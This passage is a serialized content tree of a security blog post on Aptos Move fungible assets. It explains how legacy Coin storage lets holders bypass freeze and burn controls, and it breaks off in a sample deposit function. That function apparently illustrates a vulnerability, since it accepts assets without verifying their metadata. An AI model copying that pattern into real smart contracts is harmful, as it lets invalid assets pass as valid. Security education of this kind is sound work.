modprobe_path",{"id":59286,"depth":205,"text":59289},{"id":59304,"depth":180,"text":59307},{"id":27618,"depth":180,"text":17618},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":59395,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":59396,"description":59397,"image":59398,"date":59400,"isFeatured":15,"onBlogPage":15,"tags":59401,"body":59402,"_type":1522,"_id":66120,"_source":1524,"_file":66121,"_stem":66122,"_extension":1527},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":59399,"width":4059,"height":4060},"/posts/aptos-guide/title.png","2025-02-10",[4553],{"type":20,"children":59403,"toc":66104},[59404,59417,59422,59431,59437,59465,59538,59578,59612,59773,59792,59873,59913,59941,59958,59963,59971,59976,59982,60003,60083,60116,60124,60137,60142,60526,60531,60536,60542,60547,60559,60663,60701,60704,60722,61030,61035,61047,61053,61079,61100,61105,61284,61304,61310,61330,61342,61347,61353,61365,61428,61455,61479,61700,61703,61722,61832,61889,62025,62052,62058,62084,62328,62356,62658,62691,62705,62731,62764,63071,63083,63360,63374,63691,63710,63716,63748,63788,63889,63909,64029,64046,64120,64132,64220,64241,64247,64252,64257,64274,64295,64666,64725,64730,65181,65186,65222,65228,65240,65262,65288,65495,65509,65764,65776,65803,65954,65973,66003,66007,66018,66023,66036,66100],{"type":23,"tag":32,"props":59405,"children":59406},{},[59407,59409,59415],{"type":29,"value":59408},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":23,"tag":38,"props":59410,"children":59412},{"className":59411},[],[59413],{"type":29,"value":59414},"coin",{"type":29,"value":59416}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":23,"tag":32,"props":59418,"children":59419},{},[59420],{"type":29,"value":59421},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":23,"tag":59423,"props":59424,"children":59425},"important",{},[59426],{"type":23,"tag":32,"props":59427,"children":59428},{},[59429],{"type":29,"value":59430},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":23,"tag":24,"props":59432,"children":59434},{"id":59433},"aptos-coin-standard",[59435],{"type":29,"value":59436},"Aptos Coin standard",{"type":23,"tag":32,"props":59438,"children":59439},{},[59440,59442,59448,59450,59455,59456,59463],{"type":29,"value":59441},"In the beginning, Aptos used ",{"type":23,"tag":38,"props":59443,"children":59445},{"className":59444},[],[59446],{"type":29,"value":59447},"Coin",{"type":29,"value":59449},". It is still in use, although it is now considered \"legacy\". ",{"type":23,"tag":38,"props":59451,"children":59453},{"className":59452},[],[59454],{"type":29,"value":59447},{"type":29,"value":4175},{"type":23,"tag":55,"props":59457,"children":59460},{"href":59458,"rel":59459},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[59],[59461],{"type":29,"value":59462},"defined",{"type":29,"value":59464}," in Aptos as follows:",{"type":23,"tag":131,"props":59466,"children":59468},{"className":1639,"code":59467,"language":1638,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n value: u64,\n}\n",[59469],{"type":23,"tag":38,"props":59470,"children":59471},{"__ignoreMap":7},[59472,59511,59531],{"type":23,"tag":141,"props":59473,"children":59474},{"class":143,"line":144},[59475,59479,59483,59487,59491,59495,59499,59503,59507],{"type":23,"tag":141,"props":59476,"children":59477},{"style":449},[59478],{"type":29,"value":8079},{"type":23,"tag":141,"props":59480,"children":59481},{"style":725},[59482],{"type":29,"value":4475},{"type":23,"tag":141,"props":59484,"children":59485},{"style":154},[59486],{"type":29,"value":4480},{"type":23,"tag":141,"props":59488,"children":59489},{"style":750},[59490],{"type":29,"value":4485},{"type":23,"tag":141,"props":59492,"children":59493},{"style":725},[59494],{"type":29,"value":4490},{"type":23,"tag":141,"props":59496,"children":59497},{"style":154},[59498],{"type":29,"value":4495},{"type":23,"tag":141,"props":59500,"children":59501},{"style":750},[59502],{"type":29,"value":4500},{"type":23,"tag":141,"props":59504,"children":59505},{"style":750},[59506],{"type":29,"value":4505},{"type":23,"tag":141,"props":59508,"children":59509},{"style":154},[59510],{"type":29,"value":1951},{"type":23,"tag":141,"props":59512,"children":59513},{"class":143,"line":180},[59514,59519,59523,59527],{"type":23,"tag":141,"props":59515,"children":59516},{"style":750},[59517],{"type":29,"value":59518}," value",{"type":23,"tag":141,"props":59520,"children":59521},{"style":160},[59522],{"type":29,"value":114},{"type":23,"tag":141,"props":59524,"children":59525},{"style":725},[59526],{"type":29,"value":4534},{"type":23,"tag":141,"props":59528,"children":59529},{"style":154},[59530],{"type":29,"value":2168},{"type":23,"tag":141,"props":59532,"children":59533},{"class":143,"line":205},[59534],{"type":23,"tag":141,"props":59535,"children":59536},{"style":154},[59537],{"type":29,"value":2573},{"type":23,"tag":32,"props":59539,"children":59540},{},[59541,59543,59548,59550,59556,59557,59563,59565,59570,59572,59577],{"type":29,"value":59542},"Aptos distinguishes coins by their type (",{"type":23,"tag":38,"props":59544,"children":59546},{"className":59545},[],[59547],{"type":29,"value":5257},{"type":29,"value":59549},") at compile time. For example, ",{"type":23,"tag":38,"props":59551,"children":59553},{"className":59552},[],[59554],{"type":29,"value":59555},"Coin\u003COtter>",{"type":29,"value":313},{"type":23,"tag":38,"props":59558,"children":59560},{"className":59559},[],[59561],{"type":29,"value":59562},"Coin\u003CWeasel>",{"type":29,"value":59564}," represent different coins, and you cannot pass a ",{"type":23,"tag":38,"props":59566,"children":59568},{"className":59567},[],[59569],{"type":29,"value":59562},{"type":29,"value":59571}," to a function expecting ",{"type":23,"tag":38,"props":59573,"children":59575},{"className":59574},[],[59576],{"type":29,"value":59555},{"type":29,"value":322},{"type":23,"tag":32,"props":59579,"children":59580},{},[59581,59583,59588,59590,59595,59597,59602,59604,59610],{"type":29,"value":59582},"The type signature reveals why ",{"type":23,"tag":38,"props":59584,"children":59586},{"className":59585},[],[59587],{"type":29,"value":59447},{"type":29,"value":59589}," has become a legacy standard. ",{"type":23,"tag":38,"props":59591,"children":59593},{"className":59592},[],[59594],{"type":29,"value":59447},{"type":29,"value":59596}," has only the ",{"type":23,"tag":38,"props":59598,"children":59600},{"className":59599},[],[59601],{"type":29,"value":4614},{"type":29,"value":59603}," ability and uses a ",{"type":23,"tag":38,"props":59605,"children":59607},{"className":59606},[],[59608],{"type":29,"value":59609},"CoinStore",{"type":29,"value":59611}," wrapper to store the coin and metadata:",{"type":23,"tag":131,"props":59613,"children":59615},{"className":1639,"code":59614,"language":1638,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>,\n frozen: bool,\n deposit_events: EventHandle\u003CDepositEvent>,\n withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[59616],{"type":23,"tag":38,"props":59617,"children":59618},{"__ignoreMap":7},[59619,59659,59687,59707,59737,59766],{"type":23,"tag":141,"props":59620,"children":59621},{"class":143,"line":144},[59622,59626,59631,59635,59639,59643,59647,59651,59655],{"type":23,"tag":141,"props":59623,"children":59624},{"style":449},[59625],{"type":29,"value":8079},{"type":23,"tag":141,"props":59627,"children":59628},{"style":725},[59629],{"type":29,"value":59630}," CoinStore",{"type":23,"tag":141,"props":59632,"children":59633},{"style":154},[59634],{"type":29,"value":4480},{"type":23,"tag":141,"props":59636,"children":59637},{"style":750},[59638],{"type":29,"value":4485},{"type":23,"tag":141,"props":59640,"children":59641},{"style":725},[59642],{"type":29,"value":4490},{"type":23,"tag":141,"props":59644,"children":59645},{"style":154},[59646],{"type":29,"value":4495},{"type":23,"tag":141,"props":59648,"children":59649},{"style":750},[59650],{"type":29,"value":4500},{"type":23,"tag":141,"props":59652,"children":59653},{"style":750},[59654],{"type":29,"value":4605},{"type":23,"tag":141,"props":59656,"children":59657},{"style":154},[59658],{"type":29,"value":1951},{"type":23,"tag":141,"props":59660,"children":59661},{"class":143,"line":180},[59662,59667,59671,59675,59679,59683],{"type":23,"tag":141,"props":59663,"children":59664},{"style":750},[59665],{"type":29,"value":59666}," coin",{"type":23,"tag":141,"props":59668,"children":59669},{"style":160},[59670],{"type":29,"value":114},{"type":23,"tag":141,"props":59672,"children":59673},{"style":725},[59674],{"type":29,"value":4475},{"type":23,"tag":141,"props":59676,"children":59677},{"style":154},[59678],{"type":29,"value":4480},{"type":23,"tag":141,"props":59680,"children":59681},{"style":725},[59682],{"type":29,"value":5257},{"type":23,"tag":141,"props":59684,"children":59685},{"style":154},[59686],{"type":29,"value":4812},{"type":23,"tag":141,"props":59688,"children":59689},{"class":143,"line":205},[59690,59695,59699,59703],{"type":23,"tag":141,"props":59691,"children":59692},{"style":750},[59693],{"type":29,"value":59694}," frozen",{"type":23,"tag":141,"props":59696,"children":59697},{"style":160},[59698],{"type":29,"value":114},{"type":23,"tag":141,"props":59700,"children":59701},{"style":725},[59702],{"type":29,"value":10730},{"type":23,"tag":141,"props":59704,"children":59705},{"style":154},[59706],{"type":29,"value":2168},{"type":23,"tag":141,"props":59708,"children":59709},{"class":143,"line":218},[59710,59715,59719,59724,59728,59733],{"type":23,"tag":141,"props":59711,"children":59712},{"style":750},[59713],{"type":29,"value":59714}," deposit_events",{"type":23,"tag":141,"props":59716,"children":59717},{"style":160},[59718],{"type":29,"value":114},{"type":23,"tag":141,"props":59720,"children":59721},{"style":725},[59722],{"type":29,"value":59723}," EventHandle",{"type":23,"tag":141,"props":59725,"children":59726},{"style":154},[59727],{"type":29,"value":4480},{"type":23,"tag":141,"props":59729,"children":59730},{"style":725},[59731],{"type":29,"value":59732},"DepositEvent",{"type":23,"tag":141,"props":59734,"children":59735},{"style":154},[59736],{"type":29,"value":4812},{"type":23,"tag":141,"props":59738,"children":59739},{"class":143,"line":227},[59740,59745,59749,59753,59757,59762],{"type":23,"tag":141,"props":59741,"children":59742},{"style":750},[59743],{"type":29,"value":59744}," withdraw_events",{"type":23,"tag":141,"props":59746,"children":59747},{"style":160},[59748],{"type":29,"value":114},{"type":23,"tag":141,"props":59750,"children":59751},{"style":725},[59752],{"type":29,"value":59723},{"type":23,"tag":141,"props":59754,"children":59755},{"style":154},[59756],{"type":29,"value":4480},{"type":23,"tag":141,"props":59758,"children":59759},{"style":725},[59760],{"type":29,"value":59761},"WithdrawEvent",{"type":23,"tag":141,"props":59763,"children":59764},{"style":154},[59765],{"type":29,"value":4812},{"type":23,"tag":141,"props":59767,"children":59768},{"class":143,"line":241},[59769],{"type":23,"tag":141,"props":59770,"children":59771},{"style":154},[59772],{"type":29,"value":2573},{"type":23,"tag":32,"props":59774,"children":59775},{},[59776,59778,59783,59785,59790],{"type":29,"value":59777},"However, an astute reader would note that this isn't the only place a ",{"type":23,"tag":38,"props":59779,"children":59781},{"className":59780},[],[59782],{"type":29,"value":59447},{"type":29,"value":59784}," can be stored. You can create your own ",{"type":23,"tag":38,"props":59786,"children":59788},{"className":59787},[],[59789],{"type":29,"value":59447},{"type":29,"value":59791}," wallet, which could look like this:",{"type":23,"tag":131,"props":59793,"children":59795},{"className":1639,"code":59794,"language":1638,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>\n}\n",[59796],{"type":23,"tag":38,"props":59797,"children":59798},{"__ignoreMap":7},[59799,59839,59866],{"type":23,"tag":141,"props":59800,"children":59801},{"class":143,"line":144},[59802,59806,59811,59815,59819,59823,59827,59831,59835],{"type":23,"tag":141,"props":59803,"children":59804},{"style":449},[59805],{"type":29,"value":8079},{"type":23,"tag":141,"props":59807,"children":59808},{"style":725},[59809],{"type":29,"value":59810}," DefinitelyLegitCoinStore",{"type":23,"tag":141,"props":59812,"children":59813},{"style":154},[59814],{"type":29,"value":4480},{"type":23,"tag":141,"props":59816,"children":59817},{"style":750},[59818],{"type":29,"value":4485},{"type":23,"tag":141,"props":59820,"children":59821},{"style":725},[59822],{"type":29,"value":4490},{"type":23,"tag":141,"props":59824,"children":59825},{"style":154},[59826],{"type":29,"value":4495},{"type":23,"tag":141,"props":59828,"children":59829},{"style":750},[59830],{"type":29,"value":4500},{"type":23,"tag":141,"props":59832,"children":59833},{"style":750},[59834],{"type":29,"value":4605},{"type":23,"tag":141,"props":59836,"children":59837},{"style":154},[59838],{"type":29,"value":1951},{"type":23,"tag":141,"props":59840,"children":59841},{"class":143,"line":180},[59842,59846,59850,59854,59858,59862],{"type":23,"tag":141,"props":59843,"children":59844},{"style":750},[59845],{"type":29,"value":59666},{"type":23,"tag":141,"props":59847,"children":59848},{"style":160},[59849],{"type":29,"value":114},{"type":23,"tag":141,"props":59851,"children":59852},{"style":725},[59853],{"type":29,"value":4475},{"type":23,"tag":141,"props":59855,"children":59856},{"style":154},[59857],{"type":29,"value":4480},{"type":23,"tag":141,"props":59859,"children":59860},{"style":725},[59861],{"type":29,"value":5257},{"type":23,"tag":141,"props":59863,"children":59864},{"style":154},[59865],{"type":29,"value":4666},{"type":23,"tag":141,"props":59867,"children":59868},{"class":143,"line":205},[59869],{"type":23,"tag":141,"props":59870,"children":59871},{"style":154},[59872],{"type":29,"value":2573},{"type":23,"tag":32,"props":59874,"children":59875},{},[59876,59881,59883,59889,59891,59896,59898,59904,59906,59911],{"type":23,"tag":38,"props":59877,"children":59879},{"className":59878},[],[59880],{"type":29,"value":59609},{"type":29,"value":59882}," includes a ",{"type":23,"tag":38,"props":59884,"children":59886},{"className":59885},[],[59887],{"type":29,"value":59888},"frozen",{"type":29,"value":59890}," field, allowing the issuer to block transfers to and from the store. ",{"type":23,"tag":38,"props":59892,"children":59894},{"className":59893},[],[59895],{"type":29,"value":59609},{"type":29,"value":59897}," is also required for a ",{"type":23,"tag":38,"props":59899,"children":59901},{"className":59900},[],[59902],{"type":29,"value":59903},"burn_from",{"type":29,"value":59905}," operation, which withdraws the ",{"type":23,"tag":38,"props":59907,"children":59909},{"className":59908},[],[59910],{"type":29,"value":59414},{"type":29,"value":59912}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":23,"tag":32,"props":59914,"children":59915},{},[59916,59918,59923,59925,59932,59934,59939],{"type":29,"value":59917},"Storing ",{"type":23,"tag":38,"props":59919,"children":59921},{"className":59920},[],[59922],{"type":29,"value":59414},{"type":29,"value":59924}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":23,"tag":55,"props":59926,"children":59929},{"href":59927,"rel":59928},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[59],[59930],{"type":29,"value":59931},"AIP-21",{"type":29,"value":59933}," summarizes the ",{"type":23,"tag":38,"props":59935,"children":59937},{"className":59936},[],[59938],{"type":29,"value":59414},{"type":29,"value":59940}," problems:",{"type":23,"tag":355,"props":59942,"children":59943},{},[59944,59953],{"type":23,"tag":32,"props":59945,"children":59946},{},[59947,59951],{"type":23,"tag":141,"props":59948,"children":59949},{},[59950],{"type":29,"value":8269},{"type":29,"value":59952}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":23,"tag":32,"props":59954,"children":59955},{},[59956],{"type":29,"value":59957},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":23,"tag":32,"props":59959,"children":59960},{},[59961],{"type":29,"value":59962},"And declares, that:",{"type":23,"tag":355,"props":59964,"children":59965},{},[59966],{"type":23,"tag":32,"props":59967,"children":59968},{},[59969],{"type":29,"value":59970},"Fungible assets addresses these issues.",{"type":23,"tag":32,"props":59972,"children":59973},{},[59974],{"type":29,"value":59975},"Let's find out whether this is indeed the case.",{"type":23,"tag":24,"props":59977,"children":59979},{"id":59978},"the-fungible-assets",[59980],{"type":29,"value":59981},"The fungible assets",{"type":23,"tag":32,"props":59983,"children":59984},{},[59985,59987,59993,59995,60002],{"type":29,"value":59986},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":23,"tag":38,"props":59988,"children":59990},{"className":59989},[],[59991],{"type":29,"value":59992},"FungibleAsset",{"type":29,"value":59994}," uses the ",{"type":23,"tag":55,"props":59996,"children":59999},{"href":59997,"rel":59998},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[59],[60000],{"type":29,"value":60001},"hot-potato pattern",{"type":29,"value":114},{"type":23,"tag":131,"props":60004,"children":60006},{"className":1639,"code":60005,"language":1638,"meta":7,"style":7},"struct FungibleAsset {\n metadata: Object\u003CMetadata>,\n amount: u64,\n}\n",[60007],{"type":23,"tag":38,"props":60008,"children":60009},{"__ignoreMap":7},[60010,60026,60056,60076],{"type":23,"tag":141,"props":60011,"children":60012},{"class":143,"line":144},[60013,60017,60022],{"type":23,"tag":141,"props":60014,"children":60015},{"style":449},[60016],{"type":29,"value":8079},{"type":23,"tag":141,"props":60018,"children":60019},{"style":725},[60020],{"type":29,"value":60021}," FungibleAsset",{"type":23,"tag":141,"props":60023,"children":60024},{"style":154},[60025],{"type":29,"value":1951},{"type":23,"tag":141,"props":60027,"children":60028},{"class":143,"line":180},[60029,60034,60038,60043,60047,60052],{"type":23,"tag":141,"props":60030,"children":60031},{"style":750},[60032],{"type":29,"value":60033}," metadata",{"type":23,"tag":141,"props":60035,"children":60036},{"style":160},[60037],{"type":29,"value":114},{"type":23,"tag":141,"props":60039,"children":60040},{"style":725},[60041],{"type":29,"value":60042}," Object",{"type":23,"tag":141,"props":60044,"children":60045},{"style":154},[60046],{"type":29,"value":4480},{"type":23,"tag":141,"props":60048,"children":60049},{"style":725},[60050],{"type":29,"value":60051},"Metadata",{"type":23,"tag":141,"props":60053,"children":60054},{"style":154},[60055],{"type":29,"value":4812},{"type":23,"tag":141,"props":60057,"children":60058},{"class":143,"line":205},[60059,60064,60068,60072],{"type":23,"tag":141,"props":60060,"children":60061},{"style":750},[60062],{"type":29,"value":60063}," amount",{"type":23,"tag":141,"props":60065,"children":60066},{"style":160},[60067],{"type":29,"value":114},{"type":23,"tag":141,"props":60069,"children":60070},{"style":725},[60071],{"type":29,"value":4534},{"type":23,"tag":141,"props":60073,"children":60074},{"style":154},[60075],{"type":29,"value":2168},{"type":23,"tag":141,"props":60077,"children":60078},{"class":143,"line":218},[60079],{"type":23,"tag":141,"props":60080,"children":60081},{"style":154},[60082],{"type":29,"value":2573},{"type":23,"tag":32,"props":60084,"children":60085},{},[60086,60088,60093,60094,60099,60101,60106,60108,60115],{"type":29,"value":60087},"Unlike ",{"type":23,"tag":38,"props":60089,"children":60091},{"className":60090},[],[60092],{"type":29,"value":59447},{"type":29,"value":480},{"type":23,"tag":38,"props":60095,"children":60097},{"className":60096},[],[60098],{"type":29,"value":59992},{"type":29,"value":60100}," types are defined at runtime through the ",{"type":23,"tag":38,"props":60102,"children":60104},{"className":60103},[],[60105],{"type":29,"value":60051},{"type":29,"value":60107}," field. This change was meant to ",{"type":23,"tag":55,"props":60109,"children":60112},{"href":60110,"rel":60111},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[59],[60113],{"type":29,"value":60114},"enhance extensibility",{"type":29,"value":114},{"type":23,"tag":355,"props":60117,"children":60118},{},[60119],{"type":23,"tag":32,"props":60120,"children":60121},{},[60122],{"type":29,"value":60123},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":23,"tag":32,"props":60125,"children":60126},{},[60127,60129,60135],{"type":29,"value":60128},"An important implication is that functions accepting ",{"type":23,"tag":38,"props":60130,"children":60132},{"className":60131},[],[60133],{"type":29,"value":60134},"FungibleAssets",{"type":29,"value":60136}," must verify the metadata to ensure valid assets.",{"type":23,"tag":32,"props":60138,"children":60139},{},[60140],{"type":29,"value":60141},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":23,"tag":131,"props":60143,"children":60145},{"className":1639,"code":60144,"language":1638,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n sender: &signer, fa: FungibleAsset\n) acquires [...] {\n assert_not_paused();\n \n let fa_amount = fungible_asset::amount(&fa);\n let sender_address = address_of(sender);\n check_compliance(fa_amount, sender_address);\n \n increase_deposit(get_vault(sender_address), fa_amount);\n \n primary_fungible_store::deposit(global_vault_address(), fa);\n \n event::emit(Deposit {sender_address, fa_amount})\n}\n",[60146],{"type":23,"tag":38,"props":60147,"children":60148},{"__ignoreMap":7},[60149,60186,60224,60248,60260,60268,60313,60347,60377,60384,60421,60428,60466,60473,60519],{"type":23,"tag":141,"props":60150,"children":60151},{"class":143,"line":144},[60152,60157,60161,60166,60170,60174,60178,60182],{"type":23,"tag":141,"props":60153,"children":60154},{"style":750},[60155],{"type":29,"value":60156},"public",{"type":23,"tag":141,"props":60158,"children":60159},{"style":750},[60160],{"type":29,"value":4881},{"type":23,"tag":141,"props":60162,"children":60163},{"style":750},[60164],{"type":29,"value":60165}," deposit",{"type":23,"tag":141,"props":60167,"children":60168},{"style":154},[60169],{"type":29,"value":4480},{"type":23,"tag":141,"props":60171,"children":60172},{"style":725},[60173],{"type":29,"value":4661},{"type":23,"tag":141,"props":60175,"children":60176},{"style":160},[60177],{"type":29,"value":114},{"type":23,"tag":141,"props":60179,"children":60180},{"style":750},[60181],{"type":29,"value":4605},{"type":23,"tag":141,"props":60183,"children":60184},{"style":154},[60185],{"type":29,"value":5262},{"type":23,"tag":141,"props":60187,"children":60188},{"class":143,"line":180},[60189,60194,60198,60202,60206,60210,60215,60219],{"type":23,"tag":141,"props":60190,"children":60191},{"style":750},[60192],{"type":29,"value":60193}," sender",{"type":23,"tag":141,"props":60195,"children":60196},{"style":160},[60197],{"type":29,"value":114},{"type":23,"tag":141,"props":60199,"children":60200},{"style":160},[60201],{"type":29,"value":5815},{"type":23,"tag":141,"props":60203,"children":60204},{"style":750},[60205],{"type":29,"value":5820},{"type":23,"tag":141,"props":60207,"children":60208},{"style":154},[60209],{"type":29,"value":480},{"type":23,"tag":141,"props":60211,"children":60212},{"style":750},[60213],{"type":29,"value":60214},"fa",{"type":23,"tag":141,"props":60216,"children":60217},{"style":160},[60218],{"type":29,"value":114},{"type":23,"tag":141,"props":60220,"children":60221},{"style":725},[60222],{"type":29,"value":60223}," FungibleAsset\n",{"type":23,"tag":141,"props":60225,"children":60226},{"class":143,"line":205},[60227,60231,60235,60239,60243],{"type":23,"tag":141,"props":60228,"children":60229},{"style":154},[60230],{"type":29,"value":1748},{"type":23,"tag":141,"props":60232,"children":60233},{"style":750},[60234],{"type":29,"value":5018},{"type":23,"tag":141,"props":60236,"children":60237},{"style":154},[60238],{"type":29,"value":21704},{"type":23,"tag":141,"props":60240,"children":60241},{"style":160},[60242],{"type":29,"value":8269},{"type":23,"tag":141,"props":60244,"children":60245},{"style":154},[60246],{"type":29,"value":60247},"] {\n",{"type":23,"tag":141,"props":60249,"children":60250},{"class":143,"line":218},[60251,60256],{"type":23,"tag":141,"props":60252,"children":60253},{"style":184},[60254],{"type":29,"value":60255}," assert_not_paused",{"type":23,"tag":141,"props":60257,"children":60258},{"style":154},[60259],{"type":29,"value":1305},{"type":23,"tag":141,"props":60261,"children":60262},{"class":143,"line":227},[60263],{"type":23,"tag":141,"props":60264,"children":60265},{"style":154},[60266],{"type":29,"value":60267}," \n",{"type":23,"tag":141,"props":60269,"children":60270},{"class":143,"line":241},[60271,60275,60280,60284,60289,60293,60297,60301,60305,60309],{"type":23,"tag":141,"props":60272,"children":60273},{"style":449},[60274],{"type":29,"value":1659},{"type":23,"tag":141,"props":60276,"children":60277},{"style":750},[60278],{"type":29,"value":60279}," fa_amount",{"type":23,"tag":141,"props":60281,"children":60282},{"style":160},[60283],{"type":29,"value":1674},{"type":23,"tag":141,"props":60285,"children":60286},{"style":154},[60287],{"type":29,"value":60288}," fungible_asset",{"type":23,"tag":141,"props":60290,"children":60291},{"style":160},[60292],{"type":29,"value":2141},{"type":23,"tag":141,"props":60294,"children":60295},{"style":184},[60296],{"type":29,"value":18978},{"type":23,"tag":141,"props":60298,"children":60299},{"style":154},[60300],{"type":29,"value":192},{"type":23,"tag":141,"props":60302,"children":60303},{"style":160},[60304],{"type":29,"value":1770},{"type":23,"tag":141,"props":60306,"children":60307},{"style":750},[60308],{"type":29,"value":60214},{"type":23,"tag":141,"props":60310,"children":60311},{"style":154},[60312],{"type":29,"value":2496},{"type":23,"tag":141,"props":60314,"children":60315},{"class":143,"line":262},[60316,60320,60325,60329,60334,60338,60343],{"type":23,"tag":141,"props":60317,"children":60318},{"style":449},[60319],{"type":29,"value":1659},{"type":23,"tag":141,"props":60321,"children":60322},{"style":750},[60323],{"type":29,"value":60324}," sender_address",{"type":23,"tag":141,"props":60326,"children":60327},{"style":160},[60328],{"type":29,"value":1674},{"type":23,"tag":141,"props":60330,"children":60331},{"style":184},[60332],{"type":29,"value":60333}," address_of",{"type":23,"tag":141,"props":60335,"children":60336},{"style":154},[60337],{"type":29,"value":192},{"type":23,"tag":141,"props":60339,"children":60340},{"style":750},[60341],{"type":29,"value":60342},"sender",{"type":23,"tag":141,"props":60344,"children":60345},{"style":154},[60346],{"type":29,"value":2496},{"type":23,"tag":141,"props":60348,"children":60349},{"class":143,"line":271},[60350,60355,60359,60364,60368,60373],{"type":23,"tag":141,"props":60351,"children":60352},{"style":184},[60353],{"type":29,"value":60354}," check_compliance",{"type":23,"tag":141,"props":60356,"children":60357},{"style":154},[60358],{"type":29,"value":192},{"type":23,"tag":141,"props":60360,"children":60361},{"style":750},[60362],{"type":29,"value":60363},"fa_amount",{"type":23,"tag":141,"props":60365,"children":60366},{"style":154},[60367],{"type":29,"value":480},{"type":23,"tag":141,"props":60369,"children":60370},{"style":750},[60371],{"type":29,"value":60372},"sender_address",{"type":23,"tag":141,"props":60374,"children":60375},{"style":154},[60376],{"type":29,"value":2496},{"type":23,"tag":141,"props":60378,"children":60379},{"class":143,"line":293},[60380],{"type":23,"tag":141,"props":60381,"children":60382},{"style":154},[60383],{"type":29,"value":60267},{"type":23,"tag":141,"props":60385,"children":60386},{"class":143,"line":801},[60387,60392,60396,60401,60405,60409,60413,60417],{"type":23,"tag":141,"props":60388,"children":60389},{"style":184},[60390],{"type":29,"value":60391}," increase_deposit",{"type":23,"tag":141,"props":60393,"children":60394},{"style":154},[60395],{"type":29,"value":192},{"type":23,"tag":141,"props":60397,"children":60398},{"style":184},[60399],{"type":29,"value":60400},"get_vault",{"type":23,"tag":141,"props":60402,"children":60403},{"style":154},[60404],{"type":29,"value":192},{"type":23,"tag":141,"props":60406,"children":60407},{"style":750},[60408],{"type":29,"value":60372},{"type":23,"tag":141,"props":60410,"children":60411},{"style":154},[60412],{"type":29,"value":13854},{"type":23,"tag":141,"props":60414,"children":60415},{"style":750},[60416],{"type":29,"value":60363},{"type":23,"tag":141,"props":60418,"children":60419},{"style":154},[60420],{"type":29,"value":2496},{"type":23,"tag":141,"props":60422,"children":60423},{"class":143,"line":810},[60424],{"type":23,"tag":141,"props":60425,"children":60426},{"style":154},[60427],{"type":29,"value":60267},{"type":23,"tag":141,"props":60429,"children":60430},{"class":143,"line":824},[60431,60436,60440,60445,60449,60454,60458,60462],{"type":23,"tag":141,"props":60432,"children":60433},{"style":154},[60434],{"type":29,"value":60435}," primary_fungible_store",{"type":23,"tag":141,"props":60437,"children":60438},{"style":160},[60439],{"type":29,"value":2141},{"type":23,"tag":141,"props":60441,"children":60442},{"style":184},[60443],{"type":29,"value":60444},"deposit",{"type":23,"tag":141,"props":60446,"children":60447},{"style":154},[60448],{"type":29,"value":192},{"type":23,"tag":141,"props":60450,"children":60451},{"style":184},[60452],{"type":29,"value":60453},"global_vault_address",{"type":23,"tag":141,"props":60455,"children":60456},{"style":154},[60457],{"type":29,"value":17053},{"type":23,"tag":141,"props":60459,"children":60460},{"style":750},[60461],{"type":29,"value":60214},{"type":23,"tag":141,"props":60463,"children":60464},{"style":154},[60465],{"type":29,"value":2496},{"type":23,"tag":141,"props":60467,"children":60468},{"class":143,"line":839},[60469],{"type":23,"tag":141,"props":60470,"children":60471},{"style":154},[60472],{"type":29,"value":60267},{"type":23,"tag":141,"props":60474,"children":60475},{"class":143,"line":848},[60476,60481,60485,60490,60494,60499,60503,60507,60511,60515],{"type":23,"tag":141,"props":60477,"children":60478},{"style":154},[60479],{"type":29,"value":60480}," 